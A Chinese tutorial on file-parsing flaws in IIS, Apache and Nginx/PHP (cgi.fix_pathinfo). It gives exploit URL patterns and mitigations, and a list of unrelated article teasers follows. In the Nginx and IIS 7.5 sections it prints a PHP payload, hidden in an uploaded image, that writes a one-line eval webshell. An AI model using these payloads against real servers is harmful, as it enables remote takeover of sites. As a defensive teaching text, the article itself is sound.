中间件解析漏洞

服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在。在此记录汇总一些常见服务器(WEB server)的解析漏洞,比如IIS6.0、IIS7.5、apache、nginx等

2|0 二、IIS5.x-6.x解析漏洞(针对asa/asp/cer)

2|11、打开之前的一个网站,比如:cookies

2|22.目录解析漏洞

找到cookies,新建一个名字为.asp(也可以是.cer和.asa)的文件夹,这种名字都叫做目录解析漏洞,

然后在文件夹中随意加几个文档,将名字改为.jpg  .gif

目录解析漏洞基本通杀所有的windows

 

 如果我们的服务器文件夹带扩展名,那么这个文件夹下面的任何文件都会被当作脚本解析

文件上传有个低版本的致命漏洞

2|33.IIS5.x-6.x漏洞解析总结

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析

形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa
/test.cer
/test.cdx

修复方案

1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2.做好权限设置,限制用户创建文件夹。

3|0三、apache解析漏洞(针对php比较好)

3|11、原理

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把xxxx.php.owf.rar解析成php。

搭建一个phpnow,有apache的解析漏洞

上传一个.phpaaabbbzzz的文件,它就会解析成php文件

3|22.漏洞形式

www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

3|33.修复方案

1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

<Files ~ “.(php.|php3.)”>

        Order Allow,Deny

        Deny from all

</Files>

2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteRule .(php.|php3.) /index.php

RewriteRule .(pHp.|pHp3.) /index.php

RewriteRule .(phP.|phP3.) /index.php

RewriteRule .(Php.|Php3.) /index.php

RewriteRule .(PHp.|PHp3.) /index.php

RewriteRule .(PhP.|PhP3.) /index.php

RewriteRule .(pHP.|pHP3.) /index.php

RewriteRule .(PHP.|PHP3.) /index.php

</IfModule>

4|0四、nginx解析漏洞(对jsp的处理能力比较强)

4|11、原理

 Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

4|22、漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)

另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

4|3 3、修复方案

1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
2.在Nginx配置文件中添加以下代码:

if ( $fastcgi_script_name ~ ..*/.*php ) {

return 403;

}

这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。

4|44、实验

nginx解析php的时候默认走的是CGI模式

nginx一般对于jsp的处理能力比较强,一般是java搭建的jsp文件

CGI的致命缺点:

比如传一个图片,图片里面涵盖木马,如果要把图片将脚本解析的话,后面直接加“/”,比如1.jpg/1.php,就直接当成php解析了,

原因就是pathinfo的问题

默认为1,只要给我别人一个上传点就可以将你的服务器控制了,但是设置为0(你上传什么文件就按什么文件解析)的话就ok了

5|0五、IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

PHP - - phpStudy

当安装完成后, php.ini里默认cgi.fix_pathinfo=1,对其进行访问的时候,在URL路径后添加.php后缀名会当做php文件进行解析,漏洞由此产生

注:在进行实际的测试的时候,发现漏洞并没有产生,后来发现要设置FastCGI为关闭,该项好像是用来处理数据文件

如此,就可以来点高级玩法

创建cmd.txt文件,内容为

<?php

fputs(fopen('shell.php','w'),'<?php  phpinfo();?>');

/创建新的文件

?>

保存后,重命名为cmd.jpg 文件

再次进行访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/32008.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

区块链中怎么惩罚虚假信息的矿工,工作量证明POW,共识算法

目录 区块链中怎么惩罚虚假信息的矿工 工作量证明POW 什么是工作量证明&#xff1f; 现在出现了另一个问题&#xff1a;如果其他人偷看了小明的答案并且抢答了怎么办&#xff1f; 为什么区块可以安全广播&#xff1f; 共识算法 小结 区块链中怎么惩罚虚假信息的矿工 1…

三分钟学习一个python小知识4-----------我的对python中numpy的理解, 我列举了关于numpy常用的10个例子来深入理解numpy

这里写目录标题 1、NumPy是什么2、NumPy的常见应用---必须掌握2.1.创建一个数组2.2.数组的属性2.3.取数组中的元素2.4.数组的运算2.5.数组的转置2.6. 数组的索引和切片2.7. 数组的重塑2.8. 数组的广播2.9. 数组的聚合操作2.10. 数组的排序 总结 1、NumPy是什么 NumPy是专门用于…

Spring MVC简介附入门案例

目录 一、SpringMVC简介 1.1 MVC模型 1.2 SpringMVC 二、SpringMVC入门案例 2.1 创建项目 2.2 引入依赖和tomcat插件 2.3 修改web.xml文件 2.4 新建springmvc.xml文件 2.5 编写控制器 2.6 配置运行方式 2.7 运行测试 三、SpringMVC执行流程 3.1 SpringMVC的组件…

Kangas:计算机视觉中的pandas

Kangas&#xff1a;计算机视觉中的pandas 介绍Kangas的优点 使用Kangas读取CSV文件读取图像文件Kangas DataGrid训练模型 介绍 在计算机视觉领域&#xff0c;Kangas是一种在图像数据处理和分析方面越来越受欢迎的工具之一。就像Pandas改变了数据分析人员处理表格数据的方式一样…

macOS FreeBSD 如何刷新 DNS 缓存

macOS FreeBSD 如何刷新 DNS 缓存 全文&#xff1a;如何刷新 DNS 缓存 (macOS, Linux, Windows) Unix Linux Windows 如何刷新 DNS 缓存 (macOS, FreeBSD, RHEL, CentOS, Debian, Ubuntu, Windows) 请访问原文链接&#xff1a;https://sysin.org/blog/how-to-flush-dns-cach…

AI绘画:切换黑色风格,安装更棒的主题!

从Stable Diffusion 出现的第一天起&#xff0c;我就开始关注这个项目&#xff0c;后来也出过几期教程。 一直以来都是只追求功能实现&#xff0c;不管界面的问题。现在我突然想要换一个帅气的主题了…就是这么突然&#xff01; 默认的白色主题太….普通…既没有设计感啊&…

智能井盖传感器:以科技破解城市顽疾

在城市的道路网络中&#xff0c;井盖扮演着重要的角色&#xff0c;用于覆盖下方的管道和设施&#xff0c;然而&#xff0c;由于井盖的老化、损坏或被盗&#xff0c;常常会导致安全问题的发生&#xff0c;如路面塌陷、行人受伤等。井盖的状态监测和维护一直是城市管理者面临的挑…

社区分享|JumpServer开源堡垒机一直都是我的第一选择

编者注&#xff1a;本文由JumpServer开源堡垒机社区用户James Wei供稿。 “我最开始接触到的堡垒机就是JumpServer&#xff0c;最了解的也是JumpServer&#xff0c;已经完全习惯了JumpServer的使用习惯&#xff0c;这也是我一直选择JumpServer的一个重要原因。” ——JumpSer…

跟着AIGC学Linux:简介(一)

文章目录 1.Linux内核的历史2.基本概念3.发行版4.Linux应用领域5.Linux VS Windows横向对比表格&#xff1a; 1.Linux内核的历史 Linux内核最初由一位名叫Linus Torvalds的芬兰计算机科学家于1991年创建。当时&#xff0c;Torvalds是一名赫尔辛基大学的学生&#xff0c;他在寻…

Microsoft365有用吗?2023最新版office有哪些新功能?

office自97版到现在已有20多年&#xff0c;一直是作为行业标准&#xff0c;格式和兼容性好&#xff0c;比较正式&#xff0c;适合商务使用。包含多个组件&#xff0c;除了常用的word、excel、ppt外&#xff0c;还有收发邮件的outlook、管理数据库的access、排版桌面的publisher…

【Windows】虚拟串口工具VSPD7.2安装

【Windows】虚拟串口工具VSPD7.2安装 1、背景2、VSPD7.2安装3、创建虚拟串口 1、背景 ​Virtual Serial Ports Driver​是由著名的软件公司Eltima制作的一款非常好用的​虚拟串口工具​&#xff0c;简称&#xff1a;VSPD。 VSPD其功能如同 Windows机器上COM 串行端口的仿真器…

永磁同步直线电机学习笔记——什么是直线电机?

永磁同步直线电机&#xff08;Permanent Magnet Linear Synchronous Motor&#xff0c;简称PMLSM&#xff09;是一种电动机&#xff0c;它通过将永磁体和线圈组合在一起&#xff0c;将电能转化为机械运动。与传统的旋转电机不同&#xff0c;PMLSM是一种直线运动电机&#xff0c…

【Java高级语法】(十七)Stream流式编程:释放流式编程的效率与优雅,狂肝万字只为全面讲透Stream流!~

Java高级语法详解之Stream流 1️⃣ 概念及特征2️⃣ 优势和缺点3️⃣ 使用3.1 语法3.2 常用API详解3.3 案例 4️⃣ 应用场景5️⃣ 使用技巧6️⃣ 并行流 ParallelStream&#x1f33e; 总结 1️⃣ 概念及特征 Java的Stream流是在Java 8中引入的一种用于处理集合数据的功能强大且…

【小沐学Web】Node.js搭建HTTPS 服务器

文章目录 1、简介1.1 HTTPS协议1.2 Node.js中的HTTPS 2、生成自签名证书2.1 key文件2.2 csr文件2.3 crt文件 4、代码测试4.1 Node.js简介4.2 Node.js的http模块4.3 Node.js的Express模块4.4 Node.js的https模块4.5 Node.js的httpsexpress模块 结语 1、简介 1.1 HTTPS协议 HTTP…

HackTheBox - 学院【CPTS】复习3 - XSS、文件包含、文件上传、命令注入

XSS 登录表单 document.write(<h3>Please login to continue</h3><form actionhttp://OUR_IP><input type"username" name"username" placeholder"Username"><input type"password" name"password&…

web漏洞之文件上传漏洞

文章目录 一、漏洞原因二、漏洞危害三、漏洞利用1.三个条件2.利用方式3.绕过方式a.绕过JS验证① BP绕过② F12绕过③ 菜刀上传实操 b.绕过MIME-Type验证c.绕过黑名单验证① 直接修改后缀名绕过② htaccess绕过(有拦截)③ 大小写绕过(有拦截)④ 空格绕过⑤ .号绕过⑥ 特…

Golang -> Golang 变量

Golang 变量 Golang 变量使用的三种方式变量的声明&#xff0c;初始化和赋值程序中 号的使用数据类型的基本介绍int 的无符号的类型&#xff1a;int 的其它类型的说明:整型的使用细节 小数类型/浮点型小数类型分类浮点型使用细节 字符类型字符类型使用细节字符类型本质探讨 布…

前端Vue自定义简单实用轮播图封装组件 快速实现轮播图

前端Vue自定义简单实用轮播图封装组件 快速实现轮播图&#xff0c; 下载完整代码请访问uni-app插件市场地址&#xff1a;https://ext.dcloud.net.cn/plugin?id13153 效果图如下&#xff1a; # cc-mySwiper #### 使用方法 使用方法 <!-- 自定义轮播图 swiperArr: 轮播数…

做项目,最难搞定的不是甲方爸爸...

早上好&#xff0c;我是老原。 前几天和一个老朋友吃饭的时候&#xff0c;他和我吐槽他上个月做的一个项目&#xff0c;实在太累了&#xff0c;几乎是没日没夜地赶进度&#xff0c;身体都快垮了。 我问他既然时间来不及&#xff0c;为什么不前期就和客户沟通好。 他说其实客…

什么是HTTP 500内部服务器错误,要怎么修复

HTTP 500是一种原始的错误代码&#xff0c;它指示网站服务器在处理请求时发生了内部错误&#xff0c;不过具体错误原因是不确定的。一般情况下&#xff0c;这种错误通常是由服务器程序上的bug或者配置问题造成的。当服务器收到请求时&#xff0c;尝试执行它时&#xff0c;但是发…